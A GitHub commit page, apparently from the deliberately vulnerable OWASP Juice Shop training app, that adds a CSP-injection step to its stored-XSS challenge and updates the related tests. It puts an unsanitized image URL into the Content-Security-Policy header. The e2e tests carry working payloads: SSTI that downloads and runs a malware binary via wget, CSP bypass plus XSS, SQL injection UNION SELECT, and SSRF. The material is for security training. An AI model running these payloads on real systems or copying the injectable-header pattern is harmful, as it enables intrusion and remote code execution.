Skip to content

Commit

Permalink
add CSP injection to username challenge
Browse files Browse the repository at this point in the history
Signed-off-by: Scar26 <[email protected]>
  • Loading branch information
Scar26 committed Feb 26, 2020
1 parent 05158af commit 9b6b0b5
Show file tree
Hide file tree
Showing 11 changed files with 72 additions and 58 deletions.
2 changes: 1 addition & 1 deletion data/datacreator.js
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ async function createUsers () {
email: completeEmail,
password,
role,
profileImage: profileImage || 'default.svg',
profileImage: profileImage || '/assets/public/images/uploads/default.svg',
totpSecret
})
datacache.users[key] = user
Expand Down
4 changes: 2 additions & 2 deletions data/static/challenges.yml
Original file line number Diff line number Diff line change
Expand Up @@ -98,8 +98,8 @@
-
name: 'Classic Stored XSS'
category: 'XSS'
description: 'Perform an XSS attack with <code>&lt;script&gt;alert(`xss`)&lt;/script&gt;</code> on a legacy page within the application.'
difficulty: 2
description: 'Bypass the Content Security Policy and perform an XSS attack with <code>&lt;script&gt;alert(`xss`)&lt;/script&gt;</code> on a legacy page within the application.'
difficulty: 4
hint: 'What is even "better" than homegrown validation based on a RegEx? Homegrown sanitization based on a RegEx!'
hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-an-xss-attack-on-a-legacy-page-within-the-application'
key: usernameXssChallenge
Expand Down
3 changes: 1 addition & 2 deletions models/user.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,6 @@ module.exports = (sequelize, { STRING, BOOLEAN }) => {
set (username) {
if (!utils.disableOnContainerEnv()) {
username = insecurity.sanitizeLegacy(username)
utils.solveIf(challenges.usernameXssChallenge, () => { return utils.contains(username, '<script>alert(`xss`)</script>') })
} else {
username = insecurity.sanitizeSecure(username)
}
Expand Down Expand Up @@ -55,7 +54,7 @@ module.exports = (sequelize, { STRING, BOOLEAN }) => {
},
profileImage: {
type: STRING,
defaultValue: 'default.svg'
defaultValue: '/assets/public/images/uploads/default.svg'
},
totpSecret: {
type: STRING,
Expand Down
2 changes: 1 addition & 1 deletion routes/profileImageFileUpload.js
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ module.exports = function fileUpload () {
})
})
models.User.findByPk(loggedInUser.data.id).then(user => {
return user.update({ profileImage: loggedInUser.data.id + '.' + uploadedFileType.ext })
return user.update({ profileImage: `assets/public/images/uploads/${loggedInUser.data.id}.${uploadedFileType.ext}` })
}).catch(error => {
next(error)
})
Expand Down
21 changes: 10 additions & 11 deletions routes/profileImageUrlUpload.js
Original file line number Diff line number Diff line change
Expand Up @@ -13,22 +13,21 @@ module.exports = function profileImageUrlUpload () {
return (req, res, next) => {
if (req.body.imageUrl !== undefined) {
const url = req.body.imageUrl
if (url.match(/(.)*solve\/challenges\/server-side(.)*/) !== null) {
req.app.locals.abused_ssrf_bug = true
}
if (url.match(/(.)*solve\/challenges\/server-side(.)*/) !== null) req.app.locals.abused_ssrf_bug = true
const loggedInUser = insecurity.authenticatedUsers.get(req.cookies.token)
if (loggedInUser) {
request
const imageRequest = request
.get(url)
.on('error', function (err) {
logger.warn('Error retrieving user profile image: ' + err.message)
models.User.findByPk(loggedInUser.data.id).then(user => { return user.update({ profileImage: url })}).catch(error => { next(error) })
logger.warn('Error retrieving user profile image: ' + err.message + '; using image link directly')
})
.on('response', function (res) {
if (res.statusCode === 200) {
imageRequest.pipe(fs.createWriteStream(`frontend/dist/frontend/assets/public/images/uploads/${loggedInUser.data.id}.jpg`))
models.User.findByPk(loggedInUser.data.id).then(user => { return user.update({ profileImage: `/assets/public/images/uploads/${loggedInUser.data.id}.jpg` })}).catch(error => { next(error) })
} else models.User.findByPk(loggedInUser.data.id).then(user => { return user.update({ profileImage: url })}).catch(error => { next(error) })
})
.pipe(fs.createWriteStream(`frontend/dist/frontend/assets/public/images/uploads/${loggedInUser.data.id}.jpg`))
models.User.findByPk(loggedInUser.data.id).then(user => {
return user.update({ profileImage: loggedInUser.data.id + '.jpg' })
}).catch(error => {
next(error)
})
} else {
next(new Error('Blocked illegal activity by ' + req.connection.remoteAddress))
}
Expand Down
8 changes: 8 additions & 0 deletions routes/userProfile.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ const fs = require('fs')
const models = require('../models/index')
const utils = require('../lib/utils')
const insecurity = require('../lib/insecurity')
const challenges = require('../data/datacache').challenges
const pug = require('pug')
const config = require('config')
const themes = require('../views/themes/themes').themes
Expand Down Expand Up @@ -43,6 +44,13 @@ module.exports = function getUserProfile () {
template = template.replace(/_primDark_/g, theme.primDark)
template = template.replace(/_logo_/g, utils.extractFilename(config.get('application.logo')))
const fn = pug.compile(template)
const CSP = `img-src 'self' ${user.dataValues.profileImage}; script-src 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com`
utils.solveIf(challenges.usernameXssChallenge, () => { return user.dataValues.profileImage.match(/;[ ]*script-src(.)*'unsafe-inline'/g) !== null && utils.contains(username, '<script>alert(`xss`)</script>') })

res.set({
'Content-Security-Policy': CSP
})

res.send(fn(user.dataValues))
}).catch(error => {
next(error)
Expand Down
2 changes: 1 addition & 1 deletion test/api/loginApiSpec.js
Original file line number Diff line number Diff line change
Expand Up @@ -219,7 +219,7 @@ describe('/rest/user/login', () => {
return frisby.post(REST_URL + '/user/login', {
header: jsonHeader,
body: {
email: `' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@${config.get('application.domain')}' as 'email', '12345' as 'password', 'accounting' as 'role', '1.2.3.4' as 'lastLoginIp' , 'default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--`,
email: `' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@${config.get('application.domain')}' as 'email', '12345' as 'password', 'accounting' as 'role', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--`,
password: undefined
}
})
Expand Down
2 changes: 1 addition & 1 deletion test/e2e/loginSpec.js
Original file line number Diff line number Diff line change
Expand Up @@ -175,7 +175,7 @@ describe('/#/login', () => {

describe('challenge "ephemeralAccountant"', () => {
it('should log in non-existing accountant user with SQLI attack on email field using UNION SELECT payload', () => {
email.sendKeys('\' UNION SELECT * FROM (SELECT 15 as \'id\', \'\' as \'username\', \'[email protected]\' as \'email\', \'12345\' as \'password\', \'accounting\' as \'role\', \'1.2.3.4\' as \'lastLoginIp\' , \'default.svg\' as \'profileImage\', \'\' as \'totpSecret\', 1 as \'isActive\', \'1999-08-16 14:14:41.644 +00:00\' as \'createdAt\', \'1999-08-16 14:33:41.930 +00:00\' as \'updatedAt\', null as \'deletedAt\')--')
email.sendKeys('\' UNION SELECT * FROM (SELECT 15 as \'id\', \'\' as \'username\', \'[email protected]\' as \'email\', \'12345\' as \'password\', \'accounting\' as \'role\', \'1.2.3.4\' as \'lastLoginIp\' , \'/assets/public/images/uploads/default.svg\' as \'profileImage\', \'\' as \'totpSecret\', 1 as \'isActive\', \'1999-08-16 14:14:41.644 +00:00\' as \'createdAt\', \'1999-08-16 14:33:41.930 +00:00\' as \'updatedAt\', null as \'deletedAt\')--')
password.sendKeys('a')
loginButton.click()
})
Expand Down
74 changes: 41 additions & 33 deletions test/e2e/profileSpec.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,63 +7,71 @@ const config = require('config')
const utils = require('../../lib/utils')

describe('/profile', () => {
let username, submitButton, url, setButton
let username, submitButton, url, setProfileImageButton

protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' })

if (!utils.disableOnContainerEnv()) {
describe('challenge "ssti"', () => {
it('should be possible to inject arbitrary nodeJs commands in username', () => {
browser.waitForAngularEnabled(false)
browser.get('/profile')
username = element(by.id('username'))
submitButton = element(by.id('submit'))
username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
submitButton.click()
browser.get('/')
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'SSTi' })
describe('challenge "ssrf"', () => {
it('should be possible to request internal resources using image upload URL', () => {
browser.waitForAngularEnabled(false)
browser.get('/profile')
url = element(by.id('url'))
submitButton = element(by.id('submitUrl'))
url.sendKeys('http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3')
submitButton.click()
browser.get('/')
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'SSRF' })
})

if (!utils.disableOnContainerEnv()) {
describe('challenge "usernameXss"', () => {
it('Username field should be susceptible to XSS attacks', () => {
browser.waitForAngularEnabled(false)
browser.get('/profile')

const EC = protractor.ExpectedConditions
url = element(by.id('url'))
setProfileImageButton = element(by.id('submitUrl'))
url.sendKeys("https://a.png; script-src 'unsafe-inline' 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com")
setProfileImageButton.click()
browser.driver.sleep(5000)
username = element(by.id('username'))
setButton = element(by.id('submit'))
submitButton = element(by.id('submit'))
username.sendKeys('<<a|ascript>alert(`xss`)</script>')
setButton.click()
submitButton.click()
browser.wait(EC.alertIsPresent(), 10000, "'xss' alert is not present on /profile")
browser.switchTo().alert().then(alert => {
expect(alert.getText()).toEqual('xss')
alert.accept()
})
username.clear()
username.sendKeys('αδмιη') // disarm XSS
setButton.click()
submitButton.click()
url.sendKeys('http://localhost:3000/assets/public/images/uploads/default.svg')
setProfileImageButton.click()
browser.driver.sleep(5000)
browser.get('/')
browser.driver.sleep(10000)
browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'Classic Stored XSS' })
})
}

describe('challenge "ssrf"', () => {
it('should be possible to request internal resources using image upload URL', () => {
browser.waitForAngularEnabled(false)
browser.get('/profile')
url = element(by.id('url'))
submitButton = element(by.id('submitUrl'))
url.sendKeys('http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3')
submitButton.click()
browser.get('/')
browser.driver.sleep(5000)
browser.waitForAngularEnabled(true)
describe('challenge "ssti"', () => {
it('should be possible to inject arbitrary nodeJs commands in username', () => {
browser.waitForAngularEnabled(false)
browser.get('/profile')
username = element(by.id('username'))
submitButton = element(by.id('submit'))
username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
submitButton.click()
browser.get('/')
browser.driver.sleep(10000)
browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'SSTi' })
})
protractor.expect.challengeSolved({ challenge: 'SSRF' })
})
}
})
4 changes: 2 additions & 2 deletions test/server/currentUserSpec.js
Original file line number Diff line number Diff line change
Expand Up @@ -28,9 +28,9 @@ describe('currentUser', () => {
it('should return ID and email of user belonging to cookie from the request', () => {
this.req.cookies.token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1NjYyMzAyMjQsImV4cCI6OTk5OTk5OTk5OX0.Y1fLaqVSSDZNsrZliv1Rp4mMTGhSZCT84pBxcGFVCS1PlhoPwBszMEUho8jmsnIU2vssrYE00hP58u5tM6StUJ1pH4LB9-SGP33f5mGPuYRthrs62UeC54sT8xmnJWh_Jhr7v91ow4vP7OPAGWXHbeDeByIR6LulZ383ZEw0cNI'
this.req.query.callback = undefined
require('../../lib/insecurity').authenticatedUsers.put('eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1NjYyMzAyMjQsImV4cCI6OTk5OTk5OTk5OX0.Y1fLaqVSSDZNsrZliv1Rp4mMTGhSZCT84pBxcGFVCS1PlhoPwBszMEUho8jmsnIU2vssrYE00hP58u5tM6StUJ1pH4LB9-SGP33f5mGPuYRthrs62UeC54sT8xmnJWh_Jhr7v91ow4vP7OPAGWXHbeDeByIR6LulZ383ZEw0cNI', { data: { id: 1, email: '[email protected]', lastLoginIp: '0.0.0.0', profileImage: 'default.svg' } })
require('../../lib/insecurity').authenticatedUsers.put('eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE5LTA4LTE5IDE1OjU2OjE1LjYyOSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1NjYyMzAyMjQsImV4cCI6OTk5OTk5OTk5OX0.Y1fLaqVSSDZNsrZliv1Rp4mMTGhSZCT84pBxcGFVCS1PlhoPwBszMEUho8jmsnIU2vssrYE00hP58u5tM6StUJ1pH4LB9-SGP33f5mGPuYRthrs62UeC54sT8xmnJWh_Jhr7v91ow4vP7OPAGWXHbeDeByIR6LulZ383ZEw0cNI', { data: { id: 1, email: '[email protected]', lastLoginIp: '0.0.0.0', profileImage: '/assets/public/images/uploads/default.svg' } })
retrieveLoggedInUser()(this.req, this.res)

expect(this.res.json).to.have.been.calledWith({ user: { id: 1, email: '[email protected]', lastLoginIp: '0.0.0.0', profileImage: 'default.svg' } })
expect(this.res.json).to.have.been.calledWith({ user: { id: 1, email: '[email protected]', lastLoginIp: '0.0.0.0', profileImage: '/assets/public/images/uploads/default.svg' } })
})
})
8 changes: 4 additions & 4 deletions views/userProfile.pug
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@ html(lang='en')
.mdl-card__supporting-text.mdl-grid.mdl-grid--no-spacing
h1.mdl-cell.mdl-cell--12-col(style='color: _textColor_; font-size: 24px; line-height: 32px; margin-top: 16px; margin-bottom: 16px; font-weight: 400;') User Profile
.mdl-cell.mdl-cell--6-col-desktop.mdl-cell--12-col-tablet.mdl-cell--12-col-phone
img.img-rounded(src='assets/public/images/uploads/' + profileImage, alt='profile picture', width='90%', height='236', style='margin-right: 5%; margin-left: 5%;')
img.img-rounded(src=profileImage, alt='profile picture', width='90%', height='236', style='margin-right: 5%; margin-left: 5%;')
p(style='margin-top:8%; color: _textColor_; text-align: center;') _username_
form(action='/profile/image/file' , style='margin-top:10%; width: 90%; margin-right: auto; margin-left: auto;', method='post', enctype='multipart/form-data')
.form-group
Expand All @@ -63,9 +63,9 @@ html(lang='en')
form(action='/profile/image/url' , style='margin-top:5%; width: 90%; margin-right: auto; margin-left: auto;', method='post')
.form-group
.mdl-textfield.mdl-js-textfield.mdl-textfield--floating-label(style='width: 100%;')
input#url.form-control.mdl-textfield__input(type='text', name='imageUrl', style='color: _textColor_;', placeholder='e.g. https://www.gravatar.com/avatar/_emailHash_', aria-label='Text field for the Gravatar link')
label.mdl-textfield__label(for='url', style='color: _textColor_;') Gravatar URL:
button(id='submitUrl', type='submit', style='background-color:_navColor_; color: _textColor_; margin-top: -10px; text-transform: capitalize;', aria-label='Button to include the link from Gravatar').mdl-button.mdl-js-button.mdl-button--raised.mdl-js-ripple-effect Link Gravatar
input#url.form-control.mdl-textfield__input(type='text', name='imageUrl', style='color: _textColor_;', placeholder='e.g. https://www.gravatar.com/avatar/_emailHash_', aria-label='Text field for the image link')
label.mdl-textfield__label(for='url', style='color: _textColor_;') Image URL:
button(id='submitUrl', type='submit', style='background-color:_navColor_; color: _textColor_; margin-top: -10px; text-transform: capitalize;', aria-label='Button to include image from link').mdl-button.mdl-js-button.mdl-button--raised.mdl-js-ripple-effect Link Image
p(style='margin-bottom:10%;')

.mdl-cell.mdl-cell--6-col-desktop.mdl-cell--12-col-tablet.mdl-cell--12-col-phone
Expand Down

0 comments on commit 9b6b0b5

Please sign in to comment.